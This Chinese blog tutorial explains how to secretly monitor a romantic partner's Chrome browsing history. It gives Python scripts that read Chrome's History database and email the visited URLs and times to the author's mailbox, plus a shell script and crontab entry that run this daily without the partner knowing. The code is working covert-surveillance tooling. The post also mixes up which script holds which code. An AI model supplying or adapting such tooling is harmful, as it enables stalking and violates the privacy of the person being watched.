Python实时监控网站浏览记录实现过程详解


Posted in Python onJuly 14, 2020

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
  # 设置附件的MIME和文件名,这里是py类型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的头信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的内容读进来:
  mime.set_payload(f.read())
  # 用Base64编码:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python读取二进制mnist实例详解
May 31 Python
微信跳一跳python辅助软件思路及图像识别源码解析
Jan 04 Python
python os.listdir按文件存取时间顺序列出目录的实例
Oct 21 Python
python初学者,用python实现基本的学生管理系统(python3)代码实例
Apr 10 Python
查看Python依赖包及其版本号信息的方法
Aug 13 Python
python做接口测试的必要性
Nov 20 Python
python+Selenium自动化测试——输入,点击操作
Mar 06 Python
Python函数生成器原理及使用详解
Mar 12 Python
零基础小白多久能学会python
Jun 22 Python
基于python实现判断字符串是否数字算法
Jul 10 Python
Python+MySQL随机试卷及答案生成程序的示例代码
Feb 01 Python
pdf论文中python画的图Type 3 fonts字体不兼容的解决方案
Apr 24 Python
python3 中时间戳、时间、日期的转换和加减操作
Jul 14 #Python
python转化excel数字日期为标准日期操作
Jul 14 #Python
Python 实现将某一列设置为str类型
Jul 14 #Python
使用python编写一个语音朗读闹钟功能的示例代码
Jul 14 #Python
利用python对excel中一列的时间数据更改格式操作
Jul 14 #Python
Python库安装速度过慢解决方案
Jul 14 #Python
解决Python paramiko 模块远程执行ssh 命令 nohup 不生效的问题
Jul 14 #Python
You might like
PHP制作3D扇形统计图以及对图片进行缩放操作实例
2014/10/23 PHP
CI框架Session.php源码分析
2014/11/03 PHP
PHP 中使用ajax时一些常见错误总结整理
2017/02/27 PHP
基于CI(CodeIgniter)框架实现购物车功能的方法
2018/04/09 PHP
thinkPHP+LayUI 流加载实现功能
2019/09/27 PHP
ie 调试javascript的工具
2009/04/29 Javascript
JavaScript 闭包在封装函数时的简单分析
2009/11/28 Javascript
javascript对话框使用方法(警告框 javascript确认框 提示框)
2014/01/07 Javascript
FF IE浏览器修改标签透明度的方法
2014/01/27 Javascript
基于jQuery Ajax实现上传文件
2016/03/24 Javascript
浅析$(function) ready和onload 的区别
2016/09/03 Javascript
基于jQuery实现中英文切换导航条效果
2016/09/18 Javascript
jQuery实现select下拉框获取当前选中文本、值、索引
2017/05/08 jQuery
js实现放大镜特效
2017/05/18 Javascript
Ionic2开发环境搭建教程
2020/08/20 Javascript
微信小程序自动客服功能
2017/11/02 Javascript
浅谈vue-cli 3.0.x 初体验
2018/04/11 Javascript
使用ThinkJs搭建微信中控服务的实现方法
2019/08/08 Javascript
vue 解决form表单提交但不跳转页面的问题
2019/10/30 Javascript
Python天气预报采集器实现代码(网页爬虫)
2012/10/07 Python
Python中的anydbm模版和shelve模版使用指南
2015/07/09 Python
浅谈Python中列表生成式和生成器的区别
2015/08/03 Python
使用Python的Twisted框架构建非阻塞下载程序的实例教程
2016/05/25 Python
Python+selenium 获取一组元素属性值的实例
2018/06/22 Python
python3使用flask编写注册post接口的方法
2018/12/28 Python
解决Python3下map函数的显示问题
2019/12/04 Python
Python filter过滤器原理及实例应用
2020/08/18 Python
写给女朋友的检讨书
2014/01/28 职场文书
学校文明单位申报材料
2014/05/06 职场文书
考博专家推荐信
2014/05/10 职场文书
2014年导购员工作总结
2014/11/18 职场文书
数学教师求职信范文
2015/03/20 职场文书
2015年效能监察工作总结
2015/04/23 职场文书
2016年大学生党员公开承诺书
2016/03/24 职场文书
申论不会写怎么办?教您掌握这6点思维和原则
2019/07/17 职场文书
mysql的MVCC多版本并发控制的实现
2021/04/14 MySQL